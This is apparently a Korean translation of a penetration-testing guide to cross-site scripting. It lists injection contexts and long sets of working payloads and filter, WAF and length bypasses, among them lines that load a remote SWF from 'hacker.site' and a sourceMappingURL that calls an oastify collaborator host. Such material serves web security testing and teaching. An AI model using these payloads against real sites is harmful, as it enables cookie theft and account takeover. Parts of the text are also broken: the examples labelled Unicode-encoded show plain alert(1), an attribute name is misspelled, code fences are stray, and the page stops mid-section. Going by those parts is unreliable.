XSS (크로스 사이트 스크립팅)

Reading time: 48 minutes

방법론

  1. 당신이 제어하는 값 (매개변수, 경로, 헤더?, 쿠키?)가 HTML에 반영되거나 JS 코드에 의해 사용되고 있는지 확인합니다.
  2. 반영/사용되는 맥락을 찾습니다.
  3. 반영된 경우
  4. 어떤 기호를 사용할 수 있는지 확인하고, 그에 따라 페이로드를 준비합니다:
  5. 원시 HTML에서:
  6. 새로운 HTML 태그를 생성할 수 있습니까?
  7. javascript: 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
  8. 보호를 우회할 수 있습니까?
  9. HTML 콘텐츠가 클라이언트 측 JS 엔진 (AngularJS, VueJS, Mavo...)에 의해 해석되고 있다면, 클라이언트 측 템플릿 주입을 악용할 수 있습니다.
  10. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, 덩글링 마크업 - HTML 스크립트리스 주입을 악용할 수 있습니까?
  11. HTML 태그 내부에서:
  12. 원시 HTML 맥락으로 나갈 수 있습니까?
  13. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
  14. 당신이 갇힌 속성이 JS 실행을 지원합니까?
  15. 보호를 우회할 수 있습니까?
  16. JavaScript 코드 내부에서:
  17. <script> 태그를 이스케이프할 수 있습니까?
  18. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
  19. 템플릿 리터럴 ``에 입력이 있습니까?
  20. 보호를 우회할 수 있습니까?
  21. 실행 중인 Javascript 함수
  22. 실행할 함수의 이름을 지정할 수 있습니다. 예: ?callback=alert(1)
  23. 사용된 경우:
  24. DOM XSS를 악용할 수 있습니다. 입력이 어떻게 제어되는지, 그리고 당신의 제어된 입력이 어떤 싱크에 사용되는지 주의하십시오.

복잡한 XSS 작업을 할 때 알아두면 유용한 정보는 다음과 같습니다:

Debugging Client Side JS

반영된 값

XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 웹 페이지에 당신이 제어하는 값이 반영되고 있는지입니다.

  • 중간에 반영된 경우: 매개변수의 값이나 경로가 웹 페이지에 반영되고 있다면 반영된 XSS를 악용할 수 있습니다.
  • 저장되고 반영된 경우: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 저장된 XSS를 악용할 수 있습니다.
  • JS를 통해 접근된 경우: 당신이 제어하는 값이 JS를 사용하여 접근되고 있다면 DOM XSS를 악용할 수 있습니다.

맥락

XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 당신의 입력이 어디에 반영되고 있는지입니다. 맥락에 따라 다양한 방법으로 임의의 JS 코드를 실행할 수 있습니다.

원시 HTML

당신의 입력이 원시 HTML 페이지에 반영된다면, JS 코드를 실행하기 위해 일부 HTML 태그를 악용해야 합니다: <img , <iframe , <svg , <script ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.
또한, 클라이언트 측 템플릿 주입을 염두에 두십시오.

HTML 태그 속성 내부

당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:

  1. 속성과 태그에서 이스케이프 (그럼 원시 HTML에 있게 됩니다)하고 악용할 새로운 HTML 태그를 생성합니다: "><img [...]
  2. 속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우 (>가 인코딩되거나 삭제된 경우), 태그에 따라 JS 코드를 실행하는 이벤트를 생성할 수 있습니다: " autofocus onfocus=alert(1) x="
  3. 속성에서 이스케이프할 수 없는 경우 ("가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 어떤 속성인지에 따라 모든 값을 제어하는지 아니면 일부만 제어하는지에 따라 악용할 수 있습니다. 예를 들어, onclick=과 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 href 속성으로, javascript: 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
  4. 당신의 입력이 "악용할 수 없는 태그" 내부에 반영된다면, accesskey 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): `" accesskey="x" onclick="alert(1)" x="

클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

이 경우 입력값은 HTML 페이지의 <script> [...] </script> 태그, .js 파일 또는 javascript: 프로토콜을 사용하는 속성 안에 반영됩니다:

  • <script> [...] </script> 태그 사이에 반영되는 경우, 입력값이 어떤 종류의 따옴표 안에 있더라도 </script>를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 파싱하고 그 다음에 내용을 처리하기 때문에, 주입된 </script> 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
  • JS 문자열 안에 반영되는 경우 마지막 트릭이 작동하지 않으면 문자열에서 탈출하고, 코드를 실행하며 JS 코드를 재구성해야 합니다 (오류가 발생하면 실행되지 않습니다):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • 템플릿 리터럴 안에 반영되는 경우 ${ ... } 구문을 사용하여 JS 표현식삽입할 수 있습니다: var greetings = `Hello, ${alert(1)}`
  • 유니코드 인코딩유효한 자바스크립트 코드를 작성하는 데 사용됩니다:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting은 함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.
자세한 내용은 다음 페이지를 확인하세요:

JS Hoisting

Javascript Function

여러 웹 페이지에는 실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트가 있습니다. 실제로 흔히 볼 수 있는 예는 ?callback=callbackFunc와 같은 것입니다.

사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 매개변수 값을 수정하는 것(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다:

취약한 경우, 값을 보내기만 해도 경고를 트리거할 수 있습니다: ?callback=alert(1). 그러나 이러한 엔드포인트는 내용을 검증하여 문자, 숫자, 점 및 밑줄만 허용하는 것이 매우 일반적입니다 ([\w\._]).

그러나 이러한 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 모든 요소에 접근할 수 있기 때문입니다:

이를 위한 몇 가지 유용한 함수:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

당신은 또한 Javascript 함수를 직접 트리거할 수 있습니다: obj.sales.delOrders.

그러나 일반적으로 지정된 함수를 실행하는 엔드포인트는 흥미로운 DOM이 많지 않은 엔드포인트입니다. 같은 출처의 다른 페이지는 더 많은 작업을 수행할 수 있는 더 흥미로운 DOM을 가질 것입니다.

따라서 다른 DOM에서 이 취약점을 악용하기 위해 Same Origin Method Execution (SOME) 익스플로잇이 개발되었습니다:

SOME - Same Origin Method Execution

DOM

JS 코드공격자가 제어하는 데이터안전하지 않게 사용하고 있습니다, 예를 들어 location.href. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.

DOM XSS

Universal XSS

이러한 종류의 XSS는 어디에서나 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 모든 컨텍스트에 의존합니다. 이러한 종류의 임의 JavaScript 실행RCE를 얻거나, 클라이언트와 서버에서 임의의 파일을 읽는 등의 악용이 가능합니다.
몇 가지 예시:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF 우회 인코딩 이미지

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

원시 HTML 내 주입

당신의 입력이 HTML 페이지 내에서 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, 첫 번째로 해야 할 일은 <를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 문자반영해보고 그것이 HTML 인코딩되었는지, 삭제되었는지, 아니면 변경 없이 반영되었는지 확인하십시오. 마지막 경우에만 이 경우를 악용할 수 있습니다.
이 경우에도 **클라이언트 측 템플릿 주입**을 염두에 두십시오.
참고: HTML 주석은 --> 또는 --!>로 닫을 수 있습니다.

이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

하지만, 태그/속성 블랙리스트/화이트리스트가 사용되고 있다면, 어떤 태그를 생성할 수 있는지 브루트 포스해야 합니다.
어떤 태그가 허용되는지 찾은 후, 발견된 유효한 태그 내에서 속성/이벤트를 브루트 포스하여 공격할 수 있는 방법을 확인해야 합니다.

태그/이벤트 브루트 포스

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet로 가서 _태그를 클립보드에 복사_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 모든 이벤트를 브루트 포스할 수 있습니다(같은 웹 페이지에서 _이벤트를 클립보드에 복사_를 클릭하고 이전과 같은 절차를 따르세요).

사용자 정의 태그

유효한 HTML 태그를 찾지 못한 경우, 사용자 정의 태그를 생성하고 onfocus 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 #로 끝내야 페이지가 해당 객체에 포커스하고 코드를 실행합니다:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

어떤 종류의 블랙리스트가 사용되고 있다면, 몇 가지 간단한 트릭으로 이를 우회해 볼 수 있습니다:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

길이 우회 (작은 XSS)

[!NOTE] > 다양한 환경을 위한 더 많은 작은 XSS 페이로드 여기에서 찾을 수 있습니다여기에서.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

마지막 것은 2개의 유니코드 문자를 사용하여 5로 확장됩니다: telsr
이러한 문자는 여기에서 더 찾을 수 있습니다.
어떤 문자가 분해되었는지 확인하려면 여기에서 확인하세요.

Click XSS - Clickjacking

취약점을 악용하기 위해 사용자가 링크나 미리 채워진 데이터가 있는 양식을 클릭해야 하는 경우 Clickjacking을 악용해 볼 수 있습니다(페이지가 취약한 경우).

불가능 - Dangling Markup

JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면, Dangling Markup을 확인해야 합니다. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 악용할 수 있기 때문입니다.

HTML 태그 내부에 주입하기

태그 내부/속성 값에서 이스케이프하기

HTML 태그 내부에 있다면, 시도할 수 있는 첫 번째 것은 태그에서 이스케이프하고 이전 섹션에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.
태그에서 이스케이프할 수 없다면, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

스타일 이벤트

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Within the attribute

Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"

HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회

The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note that any kind of HTML encode is valid:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL 인코딩도 작동합니다:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

유니코드 인코딩을 사용하여 내부 이벤트 우회

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Special Protocols Within the attribute

여기에서 javascript: 또는 data: 프로토콜을 사용하여 임의의 JS 코드를 실행할 수 있는 몇 가지 장소가 있습니다. 일부는 사용자 상호작용이 필요하고 일부는 필요하지 않습니다.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

이 프로토콜을 주입할 수 있는 장소

일반적으로 javascript: 프로토콜은 href 속성을 허용하는 모든 태그와 대부분의 src 속성을 허용하는 태그에서 사용할 수 있습니다 (단, <img>는 제외).

markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

기타 난독화 기법

이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법도 유효합니다. 왜냐하면 당신이 속성 안에 있기 때문입니다.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

또한, 이러한 경우를 위한 또 다른 멋진 트릭이 있습니다: 입력이 javascript:... 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다. 따라서 단일 인용부호를 사용하여 문자열에서 탈출해야 하고 URL 인코딩이 되어 있는 것을 본다면, 상관없습니다, 실행 시간 동안 단일 인용부호해석됩니다.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

다음에 유의하세요. 페이로드를 인코딩하기 위해 URLencode + HTMLencode를 어떤 순서로 사용하더라도 작동하지 않습니다, 하지만 페이로드 안에서 혼합할 수 있습니다.

javascript:와 함께 Hex 및 Octal 인코딩 사용하기

iframesrc 속성 안에서 (최소한) HTML 태그를 선언하여 JS를 실행하기 위해 HexOctal 인코딩을 사용할 수 있습니다:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

리버스 탭 나빙

javascript
<a target="_blank" rel="opener"

임의의 <a href= 태그에 target="_blank" and rel="opener" 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 다음 페이지를 확인하세요:

Reverse Tab Nabbing

이벤트 핸들러 우회

먼저 유용한 "on" 이벤트 핸들러에 대한 정보를 얻기 위해 이 페이지를 확인하세요 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

From here 이제 숨겨진 입력을 악용할 수 있습니다:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

그리고 메타 태그:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

다음에서 여기: 숨겨진 속성 내에서 XSS 페이로드를 실행할 수 있으며, 이를 위해 희생자키 조합을 누르도록 설득해야 합니다. Firefox Windows/Linux에서 키 조합은 ALT+SHIFT+X이고, OS X에서는 CTRL+ALT+X입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:

markup
<input type="hidden" accesskey="X" onclick="alert(1)">

XSS 페이로드는 다음과 같을 것입니다: " accesskey="x" onclick="alert(1)" x="

블랙리스트 우회

이 섹션에서는 다양한 인코딩을 사용하는 몇 가지 트릭이 이미 공개되었습니다. 다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:

  • HTML 인코딩 (HTML 태그)
  • 유니코드 인코딩 (유효한 JS 코드일 수 있음): \u0061lert(1)
  • URL 인코딩
  • 16진수 및 8진수 인코딩
  • 데이터 인코딩

HTML 태그 및 속성에 대한 우회

이전 섹션의 블랙리스트 우회를 읽어보세요.

JavaScript 코드에 대한 우회

다음 섹션의 JavaScript 우회 블랙리스트를 읽어보세요.

CSS-가젯

웹의 아주 작은 부분에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), 해당 요소가 차지하는 공간을 수정하여 링크가 실행될 확률을 극대화할 수 있습니다.

예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어

.test {display:block; color: blue; width: 100%}

#someid {top: 0; font-family: Tahoma;}

이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다.

<a href="" id=someid class=test onclick=alert() a="">

이 트릭은 https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703에서 가져온 것입니다.

JavaScript 코드 내 주입

이 경우 입력.js 파일의 JS 코드 내에 반영되거나 <script>...</script> 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 javascript: 프로토콜을 허용하는 속성 사이에 있을 것입니다.

<script> 태그 이스케이프

코드가 <script> [...] var input = 'reflected data' [...] </script> 내에 삽입된 경우, <script> 태그를 쉽게 이스케이프할 수 있습니다:

javascript
</script><img src=1 onerror=alert(document.domain)>

이 예제에서는 단일 인용부호를 닫지 않았습니다. 이는 HTML 파싱이 먼저 브라우저에 의해 수행되기 때문입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에 수행됩니다.

JS 코드 내부

<>가 정리되고 있다면 여전히 문자열을 이스케이프할 수 있으며, 입력이 위치한 곳에서 임의의 JS를 실행할 수 있습니다. JS 구문을 수정하는 것이 중요합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

템플릿 리터럴 ``

단일 및 이중 따옴표 외에 문자열을 구성하기 위해 JS는 백틱 `` 도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, ${ ... } 구문을 사용하여 JS 표현식내장할 수 있습니다.
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 반영되고 있음을 발견하면, ${ ... } 구문을 악용하여 임의의 JS 코드를 실행할 수 있습니다:

이것은 다음과 같이 악용될 수 있습니다:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````

인코딩된 코드 실행

markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

유니코드 인코드 JS 실행

javascript
alert(1)
alert(1)
alert(1)

JavaScript 우회 블랙리스트 기법

문자열

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

특수 이스케이프

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS 코드 내의 공백 대체

javascript
<TAB>
/**/

JavaScript 주석 (에서 JavaScript 주석 트릭)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript 새 줄 (from JavaScript 새 줄 trick)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

자바스크립트 공백

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

주석 안의 Javascript

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

괄호 없는 JavaScript

`javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)

**임의 함수 (alert) 호출**
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`javascript</span></div>

````javascript
//Eval like functions
eval('ale'+'rt(1)')
